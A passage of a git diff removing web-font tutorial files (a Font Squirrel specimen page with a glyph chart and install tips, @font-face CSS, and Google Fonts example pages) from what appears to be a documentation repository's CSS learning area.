-                                Duis mollis, est non commodo luctus, nisi erat porttitor ligula, eget lacinia odio sem nec elit. Aenean lacinia bibendum nulla
-                                sed consectetur. Vivamus sagittis lacus vel augue laoreet rutrum faucibus dolor auctor. Aenean lacinia bibendum nulla sed
-                                consectetur. Nullam quis risus eget urna mollis ornare vel eu leo.
-                            </p>
-
-                            <p>
-                                Praesent commodo cursus magna, vel scelerisque nisl consectetur et. Donec ullamcorper nulla non metus auctor fringilla. Maecenas
-                                faucibus mollis interdum. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit
-                                amet risus.
-                            </p>
-                        </div>
-                    </div>
-                </div>
-
-                <div id="glyphs">
-                    <div class="section">
-                        <div class="grid12 firstcol">
-                            <h1>Language Support</h1>
-                            <p>
-                                The subset of Zantroke Regular in this kit supports the following languages:<br />
-
-                                Albanian, Basque, Breton, Chamorro, Danish, Dutch, English, Faroese, Finnish, French, Frisian, Galician, German, Icelandic,
-                                Italian, Malagasy, Norwegian, Portuguese, Spanish, Swedish
-                            </p>
-                            <h1>Glyph Chart</h1>
-                            <p>
-                                The subset of Zantroke Regular in this kit includes all the glyphs listed below. Unicode entities are included above each glyph
-                                to help you insert individual characters into your layout.
-                            </p>
-                            <div id="glyph_chart">
-                                <div>
-                                    <p>&amp;#13;</p>
-                                    &#13;
-                                </div>
-                                <div>
-                                    <p>&amp;#32;</p>
-                                    &#32;
-                                </div>
-                                <div>
-                                    <p>&amp;#33;</p>
-                                    &#33;
-                                </div>
-                                <div>
-                                    <p>&amp;#34;</p>
-                                    &#34;
-                                </div>
-                                <div>
-                                    <p>&amp;#35;</p>
-                                    &#35;
-                                </div>
-                                <div>
-                                    <p>&amp;#36;</p>
-                                    &#36;
-                                </div>
-                                <div>
-                                    <p>&amp;#37;</p>
-                                    &#37;
-                                </div>
-                                <div>
-                                    <p>&amp;#38;</p>
-                                    &#38;
-                                </div>
-                                <div>
-                                    <p>&amp;#39;</p>
-                                    &#39;
-                                </div>
-                                <div>
-                                    <p>&amp;#40;</p>
-                                    &#40;
-                                </div>
-                                <div>
-                                    <p>&amp;#41;</p>
-                                    &#41;
-                                </div>
-                                <div>
-                                    <p>&amp;#42;</p>
-                                    &#42;
-                                </div>
-                                <div>
-                                    <p>&amp;#43;</p>
-                                    &#43;
-                                </div>
-                                <div>
-                                    <p>&amp;#44;</p>
-                                    &#44;
-                                </div>
-                                <div>
-                                    <p>&amp;#45;</p>
-                                    &#45;
-                                </div>
-                                <div>
-                                    <p>&amp;#46;</p>
-                                    &#46;
-                                </div>
-                                <div>
-                                    <p>&amp;#47;</p>
-                                    &#47;
-                                </div>
-                                <div>
-                                    <p>&amp;#48;</p>
-                                    &#48;
-                                </div>
-                                <div>
-                                    <p>&amp;#49;</p>
-                                    &#49;
-                                </div>
-                                <div>
-                                    <p>&amp;#50;</p>
-                                    &#50;
-                                </div>
-                                <div>
-                                    <p>&amp;#51;</p>
-                                    &#51;
-                                </div>
-                                <div>
-                                    <p>&amp;#52;</p>
-                                    &#52;
-                                </div>
-                                <div>
-                                    <p>&amp;#53;</p>
-                                    &#53;
-                                </div>
-                                <div>
-                                    <p>&amp;#54;</p>
-                                    &#54;
-                                </div>
-                                <div>
-                                    <p>&amp;#55;</p>
-                                    &#55;
-                                </div>
-                                <div>
-                                    <p>&amp;#56;</p>
-                                    &#56;
-                                </div>
-                                <div>
-                                    <p>&amp;#57;</p>
-                                    &#57;
-                                </div>
-                                <div>
-                                    <p>&amp;#58;</p>
-                                    &#58;
-                                </div>
-                                <div>
-                                    <p>&amp;#59;</p>
-                                    &#59;
-                                </div>
-                                <div>
-                                    <p>&amp;#60;</p>
-                                    &#60;
-                                </div>
-                                <div>
-                                    <p>&amp;#61;</p>
-                                    &#61;
-                                </div>
-                                <div>
-                                    <p>&amp;#62;</p>
-                                    &#62;
-                                </div>
-                                <div>
-                                    <p>&amp;#63;</p>
-                                    &#63;
-                                </div>
-                                <div>
-                                    <p>&amp;#64;</p>
-                                    &#64;
-                                </div>
-                                <div>
-                                    <p>&amp;#65;</p>
-                                    &#65;
-                                </div>
-                                <div>
-                                    <p>&amp;#66;</p>
-                                    &#66;
-                                </div>
-                                <div>
-                                    <p>&amp;#67;</p>
-                                    &#67;
-                                </div>
-                                <div>
-                                    <p>&amp;#68;</p>
-                                    &#68;
-                                </div>
-                                <div>
-                                    <p>&amp;#69;</p>
-                                    &#69;
-                                </div>
-                                <div>
-                                    <p>&amp;#70;</p>
-                                    &#70;
-                                </div>
-                                <div>
-                                    <p>&amp;#71;</p>
-                                    &#71;
-                                </div>
-                                <div>
-                                    <p>&amp;#72;</p>
-                                    &#72;
-                                </div>
-                                <div>
-                                    <p>&amp;#73;</p>
-                                    &#73;
-                                </div>
-                                <div>
-                                    <p>&amp;#74;</p>
-                                    &#74;
-                                </div>
-                                <div>
-                                    <p>&amp;#75;</p>
-                                    &#75;
-                                </div>
-                                <div>
-                                    <p>&amp;#76;</p>
-                                    &#76;
-                                </div>
-                                <div>
-                                    <p>&amp;#77;</p>
-                                    &#77;
-                                </div>
-                                <div>
-                                    <p>&amp;#78;</p>
-                                    &#78;
-                                </div>
-                                <div>
-                                    <p>&amp;#79;</p>
-                                    &#79;
-                                </div>
-                                <div>
-                                    <p>&amp;#80;</p>
-                                    &#80;
-                                </div>
-                                <div>
-                                    <p>&amp;#81;</p>
-                                    &#81;
-                                </div>
-                                <div>
-                                    <p>&amp;#82;</p>
-                                    &#82;
-                                </div>
-                                <div>
-                                    <p>&amp;#83;</p>
-                                    &#83;
-                                </div>
-                                <div>
-                                    <p>&amp;#84;</p>
-                                    &#84;
-                                </div>
-                                <div>
-                                    <p>&amp;#85;</p>
-                                    &#85;
-                                </div>
-                                <div>
-                                    <p>&amp;#86;</p>
-                                    &#86;
-                                </div>
-                                <div>
-                                    <p>&amp;#87;</p>
-                                    &#87;
-                                </div>
-                                <div>
-                                    <p>&amp;#88;</p>
-                                    &#88;
-                                </div>
-                                <div>
-                                    <p>&amp;#89;</p>
-                                    &#89;
-                                </div>
-                                <div>
-                                    <p>&amp;#90;</p>
-                                    &#90;
-                                </div>
-                                <div>
-                                    <p>&amp;#91;</p>
-                                    &#91;
-                                </div>
-                                <div>
-                                    <p>&amp;#92;</p>
-                                    &#92;
-                                </div>
-                                <div>
-                                    <p>&amp;#93;</p>
-                                    &#93;
-                                </div>
-                                <div>
-                                    <p>&amp;#94;</p>
-                                    &#94;
-                                </div>
-                                <div>
-                                    <p>&amp;#95;</p>
-                                    &#95;
-                                </div>
-                                <div>
-                                    <p>&amp;#96;</p>
-                                    &#96;
-                                </div>
-                                <div>
-                                    <p>&amp;#97;</p>
-                                    &#97;
-                                </div>
-                                <div>
-                                    <p>&amp;#98;</p>
-                                    &#98;
-                                </div>
-                                <div>
-                                    <p>&amp;#99;</p>
-                                    &#99;
-                                </div>
-                                <div>
-                                    <p>&amp;#100;</p>
-                                    &#100;
-                                </div>
-                                <div>
-                                    <p>&amp;#101;</p>
-                                    &#101;
-                                </div>
-                                <div>
-                                    <p>&amp;#102;</p>
-                                    &#102;
-                                </div>
-                                <div>
-                                    <p>&amp;#103;</p>
-                                    &#103;
-                                </div>
-                                <div>
-                                    <p>&amp;#104;</p>
-                                    &#104;
-                                </div>
-                                <div>
-                                    <p>&amp;#105;</p>
-                                    &#105;
-                                </div>
-                                <div>
-                                    <p>&amp;#106;</p>
-                                    &#106;
-                                </div>
-                                <div>
-                                    <p>&amp;#107;</p>
-                                    &#107;
-                                </div>
-                                <div>
-                                    <p>&amp;#108;</p>
-                                    &#108;
-                                </div>
-                                <div>
-                                    <p>&amp;#109;</p>
-                                    &#109;
-                                </div>
-                                <div>
-                                    <p>&amp;#110;</p>
-                                    &#110;
-                                </div>
-                                <div>
-                                    <p>&amp;#111;</p>
-                                    &#111;
-                                </div>
-                                <div>
-                                    <p>&amp;#112;</p>
-                                    &#112;
-                                </div>
-                                <div>
-                                    <p>&amp;#113;</p>
-                                    &#113;
-                                </div>
-                                <div>
-                                    <p>&amp;#114;</p>
-                                    &#114;
-                                </div>
-                                <div>
-                                    <p>&amp;#115;</p>
-                                    &#115;
-                                </div>
-                                <div>
-                                    <p>&amp;#116;</p>
-                                    &#116;
-                                </div>
-                                <div>
-                                    <p>&amp;#117;</p>
-                                    &#117;
-                                </div>
-                                <div>
-                                    <p>&amp;#118;</p>
-                                    &#118;
-                                </div>
-                                <div>
-                                    <p>&amp;#119;</p>
-                                    &#119;
-                                </div>
-                                <div>
-                                    <p>&amp;#120;</p>
-                                    &#120;
-                                </div>
-                                <div>
-                                    <p>&amp;#121;</p>
-                                    &#121;
-                                </div>
-                                <div>
-                                    <p>&amp;#122;</p>
-                                    &#122;
-                                </div>
-                                <div>
-                                    <p>&amp;#123;</p>
-                                    &#123;
-                                </div>
-                                <div>
-                                    <p>&amp;#124;</p>
-                                    &#124;
-                                </div>
-                                <div>
-                                    <p>&amp;#125;</p>
-                                    &#125;
-                                </div>
-                                <div>
-                                    <p>&amp;#126;</p>
-                                    &#126;
-                                </div>
-                                <div>
-                                    <p>&amp;#160;</p>
-                                    &#160;
-                                </div>
-                                <div>
-                                    <p>&amp;#161;</p>
-                                    &#161;
-                                </div>
-                                <div>
-                                    <p>&amp;#162;</p>
-                                    &#162;
-                                </div>
-                                <div>
-                                    <p>&amp;#163;</p>
-                                    &#163;
-                                </div>
-                                <div>
-                                    <p>&amp;#164;</p>
-                                    &#164;
-                                </div>
-                                <div>
-                                    <p>&amp;#165;</p>
-                                    &#165;
-                                </div>
-                                <div>
-                                    <p>&amp;#166;</p>
-                                    &#166;
-                                </div>
-                                <div>
-                                    <p>&amp;#167;</p>
-                                    &#167;
-                                </div>
-                                <div>
-                                    <p>&amp;#168;</p>
-                                    &#168;
-                                </div>
-                                <div>
-                                    <p>&amp;#169;</p>
-                                    &#169;
-                                </div>
-                                <div>
-                                    <p>&amp;#170;</p>
-                                    &#170;
-                                </div>
-                                <div>
-                                    <p>&amp;#171;</p>
-                                    &#171;
-                                </div>
-                                <div>
-                                    <p>&amp;#172;</p>
-                                    &#172;
-                                </div>
-                                <div>
-                                    <p>&amp;#173;</p>
-                                    &#173;
-                                </div>
-                                <div>
-                                    <p>&amp;#174;</p>
-                                    &#174;
-                                </div>
-                                <div>
-                                    <p>&amp;#175;</p>
-                                    &#175;
-                                </div>
-                                <div>
-                                    <p>&amp;#176;</p>
-                                    &#176;
-                                </div>
-                                <div>
-                                    <p>&amp;#177;</p>
-                                    &#177;
-                                </div>
-                                <div>
-                                    <p>&amp;#178;</p>
-                                    &#178;
-                                </div>
-                                <div>
-                                    <p>&amp;#179;</p>
-                                    &#179;
-                                </div>
-                                <div>
-                                    <p>&amp;#180;</p>
-                                    &#180;
-                                </div>
-                                <div>
-                                    <p>&amp;#181;</p>
-                                    &#181;
-                                </div>
-                                <div>
-                                    <p>&amp;#182;</p>
-                                    &#182;
-                                </div>
-                                <div>
-                                    <p>&amp;#183;</p>
-                                    &#183;
-                                </div>
-                                <div>
-                                    <p>&amp;#184;</p>
-                                    &#184;
-                                </div>
-                                <div>
-                                    <p>&amp;#185;</p>
-                                    &#185;
-                                </div>
-                                <div>
-                                    <p>&amp;#186;</p>
-                                    &#186;
-                                </div>
-                                <div>
-                                    <p>&amp;#187;</p>
-                                    &#187;
-                                </div>
-                                <div>
-                                    <p>&amp;#191;</p>
-                                    &#191;
-                                </div>
-                                <div>
-                                    <p>&amp;#192;</p>
-                                    &#192;
-                                </div>
-                                <div>
-                                    <p>&amp;#193;</p>
-                                    &#193;
-                                </div>
-                                <div>
-                                    <p>&amp;#194;</p>
-                                    &#194;
-                                </div>
-                                <div>
-                                    <p>&amp;#195;</p>
-                                    &#195;
-                                </div>
-                                <div>
-                                    <p>&amp;#196;</p>
-                                    &#196;
-                                </div>
-                                <div>
-                                    <p>&amp;#197;</p>
-                                    &#197;
-                                </div>
-                                <div>
-                                    <p>&amp;#198;</p>
-                                    &#198;
-                                </div>
-                                <div>
-                                    <p>&amp;#199;</p>
-                                    &#199;
-                                </div>
-                                <div>
-                                    <p>&amp;#200;</p>
-                                    &#200;
-                                </div>
-                                <div>
-                                    <p>&amp;#201;</p>
-                                    &#201;
-                                </div>
-                                <div>
-                                    <p>&amp;#202;</p>
-                                    &#202;
-                                </div>
-                                <div>
-                                    <p>&amp;#203;</p>
-                                    &#203;
-                                </div>
-                                <div>
-                                    <p>&amp;#204;</p>
-                                    &#204;
-                                </div>
-                                <div>
-                                    <p>&amp;#205;</p>
-                                    &#205;
-                                </div>
-                                <div>
-                                    <p>&amp;#206;</p>
-                                    &#206;
-                                </div>
-                                <div>
-                                    <p>&amp;#207;</p>
-                                    &#207;
-                                </div>
-                                <div>
-                                    <p>&amp;#208;</p>
-                                    &#208;
-                                </div>
-                                <div>
-                                    <p>&amp;#209;</p>
-                                    &#209;
-                                </div>
-                                <div>
-                                    <p>&amp;#210;</p>
-                                    &#210;
-                                </div>
-                                <div>
-                                    <p>&amp;#211;</p>
-                                    &#211;
-                                </div>
-                                <div>
-                                    <p>&amp;#212;</p>
-                                    &#212;
-                                </div>
-                                <div>
-                                    <p>&amp;#213;</p>
-                                    &#213;
-                                </div>
-                                <div>
-                                    <p>&amp;#214;</p>
-                                    &#214;
-                                </div>
-                                <div>
-                                    <p>&amp;#215;</p>
-                                    &#215;
-                                </div>
-                                <div>
-                                    <p>&amp;#216;</p>
-                                    &#216;
-                                </div>
-                                <div>
-                                    <p>&amp;#217;</p>
-                                    &#217;
-                                </div>
-                                <div>
-                                    <p>&amp;#218;</p>
-                                    &#218;
-                                </div>
-                                <div>
-                                    <p>&amp;#219;</p>
-                                    &#219;
-                                </div>
-                                <div>
-                                    <p>&amp;#220;</p>
-                                    &#220;
-                                </div>
-                                <div>
-                                    <p>&amp;#221;</p>
-                                    &#221;
-                                </div>
-                                <div>
-                                    <p>&amp;#222;</p>
-                                    &#222;
-                                </div>
-                                <div>
-                                    <p>&amp;#223;</p>
-                                    &#223;
-                                </div>
-                                <div>
-                                    <p>&amp;#224;</p>
-                                    &#224;
-                                </div>
-                                <div>
-                                    <p>&amp;#225;</p>
-                                    &#225;
-                                </div>
-                                <div>
-                                    <p>&amp;#226;</p>
-                                    &#226;
-                                </div>
-                                <div>
-                                    <p>&amp;#227;</p>
-                                    &#227;
-                                </div>
-                                <div>
-                                    <p>&amp;#228;</p>
-                                    &#228;
-                                </div>
-                                <div>
-                                    <p>&amp;#229;</p>
-                                    &#229;
-                                </div>
-                                <div>
-                                    <p>&amp;#230;</p>
-                                    &#230;
-                                </div>
-                                <div>
-                                    <p>&amp;#231;</p>
-                                    &#231;
-                                </div>
-                                <div>
-                                    <p>&amp;#232;</p>
-                                    &#232;
-                                </div>
-                                <div>
-                                    <p>&amp;#233;</p>
-                                    &#233;
-                                </div>
-                                <div>
-                                    <p>&amp;#234;</p>
-                                    &#234;
-                                </div>
-                                <div>
-                                    <p>&amp;#235;</p>
-                                    &#235;
-                                </div>
-                                <div>
-                                    <p>&amp;#236;</p>
-                                    &#236;
-                                </div>
-                                <div>
-                                    <p>&amp;#237;</p>
-                                    &#237;
-                                </div>
-                                <div>
-                                    <p>&amp;#238;</p>
-                                    &#238;
-                                </div>
-                                <div>
-                                    <p>&amp;#239;</p>
-                                    &#239;
-                                </div>
-                                <div>
-                                    <p>&amp;#240;</p>
-                                    &#240;
-                                </div>
-                                <div>
-                                    <p>&amp;#241;</p>
-                                    &#241;
-                                </div>
-                                <div>
-                                    <p>&amp;#242;</p>
-                                    &#242;
-                                </div>
-                                <div>
-                                    <p>&amp;#243;</p>
-                                    &#243;
-                                </div>
-                                <div>
-                                    <p>&amp;#244;</p>
-                                    &#244;
-                                </div>
-                                <div>
-                                    <p>&amp;#245;</p>
-                                    &#245;
-                                </div>
-                                <div>
-                                    <p>&amp;#246;</p>
-                                    &#246;
-                                </div>
-                                <div>
-                                    <p>&amp;#247;</p>
-                                    &#247;
-                                </div>
-                                <div>
-                                    <p>&amp;#248;</p>
-                                    &#248;
-                                </div>
-                                <div>
-                                    <p>&amp;#249;</p>
-                                    &#249;
-                                </div>
-                                <div>
-                                    <p>&amp;#250;</p>
-                                    &#250;
-                                </div>
-                                <div>
-                                    <p>&amp;#251;</p>
-                                    &#251;
-                                </div>
-                                <div>
-                                    <p>&amp;#252;</p>
-                                    &#252;
-                                </div>
-                                <div>
-                                    <p>&amp;#253;</p>
-                                    &#253;
-                                </div>
-                                <div>
-                                    <p>&amp;#254;</p>
-                                    &#254;
-                                </div>
-                                <div>
-                                    <p>&amp;#255;</p>
-                                    &#255;
-                                </div>
-                                <div>
-                                    <p>&amp;#338;</p>
-                                    &#338;
-                                </div>
-                                <div>
-                                    <p>&amp;#339;</p>
-                                    &#339;
-                                </div>
-                                <div>
-                                    <p>&amp;#376;</p>
-                                    &#376;
-                                </div>
-                                <div>
-                                    <p>&amp;#710;</p>
-                                    &#710;
-                                </div>
-                                <div>
-                                    <p>&amp;#732;</p>
-                                    &#732;
-                                </div>
-                                <div>
-                                    <p>&amp;#8192;</p>
-                                    &#8192;
-                                </div>
-                                <div>
-                                    <p>&amp;#8193;</p>
-                                    &#8193;
-                                </div>
-                                <div>
-                                    <p>&amp;#8194;</p>
-                                    &#8194;
-                                </div>
-                                <div>
-                                    <p>&amp;#8195;</p>
-                                    &#8195;
-                                </div>
-                                <div>
-                                    <p>&amp;#8196;</p>
-                                    &#8196;
-                                </div>
-                                <div>
-                                    <p>&amp;#8197;</p>
-                                    &#8197;
-                                </div>
-                                <div>
-                                    <p>&amp;#8198;</p>
-                                    &#8198;
-                                </div>
-                                <div>
-                                    <p>&amp;#8199;</p>
-                                    &#8199;
-                                </div>
-                                <div>
-                                    <p>&amp;#8200;</p>
-                                    &#8200;
-                                </div>
-                                <div>
-                                    <p>&amp;#8201;</p>
-                                    &#8201;
-                                </div>
-                                <div>
-                                    <p>&amp;#8202;</p>
-                                    &#8202;
-                                </div>
-                                <div>
-                                    <p>&amp;#8208;</p>
-                                    &#8208;
-                                </div>
-                                <div>
-                                    <p>&amp;#8209;</p>
-                                    &#8209;
-                                </div>
-                                <div>
-                                    <p>&amp;#8210;</p>
-                                    &#8210;
-                                </div>
-                                <div>
-                                    <p>&amp;#8211;</p>
-                                    &#8211;
-                                </div>
-                                <div>
-                                    <p>&amp;#8212;</p>
-                                    &#8212;
-                                </div>
-                                <div>
-                                    <p>&amp;#8216;</p>
-                                    &#8216;
-                                </div>
-                                <div>
-                                    <p>&amp;#8217;</p>
-                                    &#8217;
-                                </div>
-                                <div>
-                                    <p>&amp;#8218;</p>
-                                    &#8218;
-                                </div>
-                                <div>
-                                    <p>&amp;#8220;</p>
-                                    &#8220;
-                                </div>
-                                <div>
-                                    <p>&amp;#8221;</p>
-                                    &#8221;
-                                </div>
-                                <div>
-                                    <p>&amp;#8222;</p>
-                                    &#8222;
-                                </div>
-                                <div>
-                                    <p>&amp;#8226;</p>
-                                    &#8226;
-                                </div>
-                                <div>
-                                    <p>&amp;#8230;</p>
-                                    &#8230;
-                                </div>
-                                <div>
-                                    <p>&amp;#8239;</p>
-                                    &#8239;
-                                </div>
-                                <div>
-                                    <p>&amp;#8249;</p>
-                                    &#8249;
-                                </div>
-                                <div>
-                                    <p>&amp;#8250;</p>
-                                    &#8250;
-                                </div>
-                                <div>
-                                    <p>&amp;#8287;</p>
-                                    &#8287;
-                                </div>
-                                <div>
-                                    <p>&amp;#8364;</p>
-                                    &#8364;
-                                </div>
-                                <div>
-                                    <p>&amp;#8482;</p>
-                                    &#8482;
-                                </div>
-                                <div>
-                                    <p>&amp;#9724;</p>
-                                    &#9724;
-                                </div>
-                                <div>
-                                    <p>&amp;#64257;</p>
-                                    &#64257;
-                                </div>
-                                <div>
-                                    <p>&amp;#64258;</p>
-                                    &#64258;
-                                </div>
-                                <div>
-                                    <p>&amp;#64259;</p>
-                                    &#64259;
-                                </div>
-                                <div>
-                                    <p>&amp;#64260;</p>
-                                    &#64260;
-                                </div>
-                            </div>
-                        </div>
-                    </div>
-                </div>
-
-                <div id="specs"></div>
-
-                <div id="installing">
-                    <div class="section">
-                        <div class="grid7 firstcol">
-                            <h1>Installing Webfonts</h1>
-
-                            <p>
-                                Webfonts are supported by all major browser platforms but not all in the same way. There are currently four different font
-                                formats that must be included in order to target all browsers. This includes TTF, WOFF, EOT and SVG.
-                            </p>
-
-                            <h2>1. Upload your webfonts</h2>
-                            <p>You must upload your webfont kit to your website. They should be in or near the same directory as your CSS files.</p>
-
-                            <h2>2. Include the webfont stylesheet</h2>
-                            <p>
-                                A special CSS @font-face declaration helps the various browsers select the appropriate font it needs without causing you a bunch
-                                of headaches. Learn more about this syntax by reading the
-                                <a href="https://www.fontspring.com/blog/further-hardening-of-the-bulletproof-syntax">Fontspring blog post</a> about it. The
-                                code for it is as follows:
-                            </p>
-
-                            <code>
-                                @font-face{ font-family: 'MyWebFont'; src: url('WebFont.eot'); src: url('WebFont.eot?#iefix') format('embedded-opentype'),
-                                url('WebFont.woff') format('woff'), url('WebFont.ttf') format('truetype'), url('WebFont.svg#webfont') format('svg'); }
-                            </code>
-
-                            <p>
-                                We've already gone ahead and generated the code for you. All you have to do is link to the stylesheet in your HTML, like this:
-                            </p>
-                            <code
-                                >&lt;link rel=&quot;stylesheet&quot; href=&quot;stylesheet.css&quot; type=&quot;text/css&quot; charset=&quot;utf-8&quot;
-                                /&gt;</code
-                            >
-
-                            <h2>3. Modify your own stylesheet</h2>
-                            <p>
-                                To take advantage of your new fonts, you must tell your stylesheet to use them. Look at the original @font-face declaration
-                                above and find the property called "font-family." The name linked there will be what you use to reference the font. Prepend that
-                                webfont name to the font stack in the "font-family" property, inside the selector you want to change. For example:
-                            </p>
-                            <code>p { font-family: 'WebFont', Arial, sans-serif; }</code>
-
-                            <h2>4. Test</h2>
-                            <p>
-                                Getting webfonts to work cross-browser <em>can</em> be tricky. Use the information in the sidebar to help you if you find that
-                                fonts aren't loading in a particular browser.
-                            </p>
-                        </div>
-
-                        <div class="grid5 sidebar">
-                            <div class="box">
-                                <h2>Troubleshooting<br />Font-Face Problems</h2>
-                                <p>
-                                    Having trouble getting your webfonts to load in your new website? Here are some tips to sort out what might be the problem.
-                                </p>
-
-                                <h3>Fonts not showing in any browser</h3>
-
-                                <p>
-                                    This sounds like you need to work on the plumbing. You either did not upload the fonts to the correct directory, or you did
-                                    not link the fonts properly in the CSS. If you've confirmed that all this is correct and you still have a problem, take a
-                                    look at your .htaccess file and see if requests are getting intercepted.
-                                </p>
-
-                                <h3>Fonts not loading in iPhone or iPad</h3>
-
-                                <p>
-                                    The most common problem here is that you are serving the fonts from an IIS server. IIS refuses to serve files that have
-                                    unknown MIME types. If that is the case, you must set the MIME type for SVG to "image/svg+xml" in the server settings.
-                                    Follow these instructions from Microsoft if you need help.
-                                </p>
-
-                                <h3>Fonts not loading in Firefox</h3>
-
-                                <p>
-                                    The primary reason for this failure? You are still using a version Firefox older than 3.5. So upgrade already! If that isn't
-                                    it, then you are very likely serving fonts from a different domain. Firefox requires that all font assets be served from the
-                                    same domain. Lastly it is possible that you need to add WOFF to your list of MIME types (if you are serving via IIS.)
-                                </p>
-
-                                <h3>Fonts not loading in IE</h3>
-
-                                <p>
-                                    Are you looking at Internet Explorer on an actual Windows machine or are you cheating by using a service like Adobe
-                                    BrowserLab? Many of these screenshot services do not render @font-face for IE. Best to test it on a real machine.
-                                </p>
-
-                                <h3>Fonts not loading in IE9</h3>
-
-                                <p>IE9, like Firefox, requires that fonts be served from the same domain as the website. Make sure that is the case.</p>
-                            </div>
-                        </div>
-                    </div>
-                </div>
-            </div>
-            <div id="footer">
-                <p>&copy;2010-2011 Font Squirrel. All rights reserved.</p>
-            </div>
-        </div>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-text/web-fonts/fonts/zantroke-webfont.woff b/docs/content/learning-area/css/styling-text/web-fonts/fonts/zantroke-webfont.woff
deleted file mode 100644
index f2eb0b20ce..0000000000
Binary files a/docs/content/learning-area/css/styling-text/web-fonts/fonts/zantroke-webfont.woff and /dev/null differ
diff --git a/docs/content/learning-area/css/styling-text/web-fonts/fonts/zantroke-webfont.woff2 b/docs/content/learning-area/css/styling-text/web-fonts/fonts/zantroke-webfont.woff2
deleted file mode 100644
index 3c81ba918f..0000000000
Binary files a/docs/content/learning-area/css/styling-text/web-fonts/fonts/zantroke-webfont.woff2 and /dev/null differ
diff --git a/docs/content/learning-area/css/styling-text/web-fonts/google-font.css b/docs/content/learning-area/css/styling-text/web-fonts/google-font.css
deleted file mode 100644
index 413269dfcd..0000000000
--- a/docs/content/learning-area/css/styling-text/web-fonts/google-font.css
+++ /dev/null
@@ -1,36 +0,0 @@
-/* General setup */
-
-html {
-    font-size: 10px;
-    margin: 0;
-    font-family: sans-serif;
-}
-
-body {
-    width: 80%;
-    max-width: 800px;
-    margin: 0 auto;
-}
-
-/* Typography */
-
-h1 {
-    font-size: 4rem;
-}
-
-h2 {
-    font-size: 3rem;
-}
-
-h1,
-h2 {
-    font-family: 'Lobster', cursive;
-}
-
-p {
-    font-size: 1.4rem;
-    line-height: 1.6;
-    word-spacing: 0.6rem;
-    letter-spacing: 0.1rem;
-    font-family: 'Raleway', sans-serif;
-}
diff --git a/docs/content/learning-area/css/styling-text/web-fonts/google-font.html b/docs/content/learning-area/css/styling-text/web-fonts/google-font.html
deleted file mode 100644
index 15e08a8228..0000000000
--- a/docs/content/learning-area/css/styling-text/web-fonts/google-font.html
+++ /dev/null
@@ -1,47 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Web font example</title>
-        <link href="https://fonts.googleapis.com/css?family=Lobster|Raleway" rel="stylesheet" type="text/css" />
-        <link href="google-font.css" rel="stylesheet" type="text/css" />
-    </head>
-
-    <body>
-        <h1>Hipster ipsum is the best</h1>
-
-        <p>
-            Tacos actually microdosing, pour-over semiotics banjo chicharrones retro fanny pack portland everyday carry vinyl typewriter. Tacos PBR&B pork
-            belly, everyday carry ennui pickled sriracha normcore hashtag polaroid single-origin coffee cold-pressed. PBR&B tattooed trust fund twee, leggings
-            salvia iPhone photo booth health goth gastropub hammock.
-        </p>
-
-        <p>
-            Cray food truck brunch, XOXO +1 keffiyeh pickled chambray waistcoat ennui. Organic small batch paleo 8-bit. Intelligentsia umami wayfarers pickled,
-            asymmetrical kombucha letterpress kitsch leggings cold-pressed squid chartreuse put a bird on it. Listicle pickled man bun cornhole heirloom art
-            party.
-        </p>
-
-        <h2>It is the quaintest</h2>
-
-        <p>
-            Bespoke green juice aesthetic leggings DIY williamsburg selvage. Bespoke health goth tote bag, fingerstache venmo ennui thundercats butcher trust
-            fund cardigan hella. Wolf vinyl you probably haven't heard of them taxidermy, ugh quinoa neutra meditation asymmetrical mixtape church-key kitsch
-            man bun occupy. Knausgaard butcher raw denim ramps, offal seitan williamsburg venmo gastropub mlkshk cardigan chillwave chartreuse single-origin
-            coffee twee. Ethical asymmetrical banjo typewriter fap. Polaroid waistcoat tousled selfies four dollar toast locavore thundercats. Truffaut
-            post-ironic skateboard trust fund.
-        </p>
-
-        <h2>No, really...</h2>
-
-        <p>
-            Trust fund celiac farm-to-table PBR&B. Brunch art party mumblecore, fingerstache cred echo park literally stumptown humblebrag chambray. Mlkshk
-            vinyl distillery humblebrag crucifix. Mustache craft beer put a bird on it, irony deep v poutine ramps williamsburg heirloom brooklyn.
-        </p>
-
-        <p>
-            Taxidermy tofu YOLO, sustainable etsy flexitarian art party stumptown portland. Ethical williamsburg retro paleo. Put a bird on it leggings yuccie
-            actually, skateboard jean shorts paleo lomo salvia plaid you probably haven't heard of them.
-        </p>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-text/web-fonts/web-font-finished.css b/docs/content/learning-area/css/styling-text/web-fonts/web-font-finished.css
deleted file mode 100644
index e17634840f..0000000000
--- a/docs/content/learning-area/css/styling-text/web-fonts/web-font-finished.css
+++ /dev/null
@@ -1,53 +0,0 @@
-/* font imports, generated by fontsquirrel.com */
-
-@font-face {
-    font-family: 'ciclefina';
-    src: url('fonts/cicle_fina-webfont.woff2') format('woff2'), url('fonts/cicle_fina-webfont.woff') format('woff');
-    font-weight: normal;
-    font-style: normal;
-}
-
-@font-face {
-    font-family: 'zantrokeregular';
-    src: url('fonts/zantroke-webfont.woff2') format('woff2'), url('fonts/zantroke-webfont.woff') format('woff');
-    font-weight: normal;
-    font-style: normal;
-}
-
-/* General setup */
-
-html {
-    font-size: 10px;
-    margin: 0;
-    font-family: sans-serif;
-}
-
-body {
-    width: 80%;
-    max-width: 800px;
-    margin: 0 auto;
-}
-
-/* Typography */
-
-h1 {
-    font-size: 3.2rem;
-}
-
-h2 {
-    font-size: 2.4rem;
-}
-
-h1,
-h2 {
-    font-family: 'zantrokeregular', serif;
-    letter-spacing: 0.2rem;
-}
-
-p {
-    font-size: 1.6rem;
-    line-height: 1.6;
-    letter-spacing: 0.1rem;
-    word-spacing: 0.3rem;
-    font-family: 'ciclefina', sans-serif;
-}
diff --git a/docs/content/learning-area/css/styling-text/web-fonts/web-font-finished.html b/docs/content/learning-area/css/styling-text/web-fonts/web-font-finished.html
deleted file mode 100644
index 1b1590ea78..0000000000
--- a/docs/content/learning-area/css/styling-text/web-fonts/web-font-finished.html
+++ /dev/null
@@ -1,46 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Web font example</title>
-        <link href="web-font-finished.css" rel="stylesheet" type="text/css" />
-    </head>
-
-    <body>
-        <h1>Hipster ipsum is the best</h1>
-
-        <p>
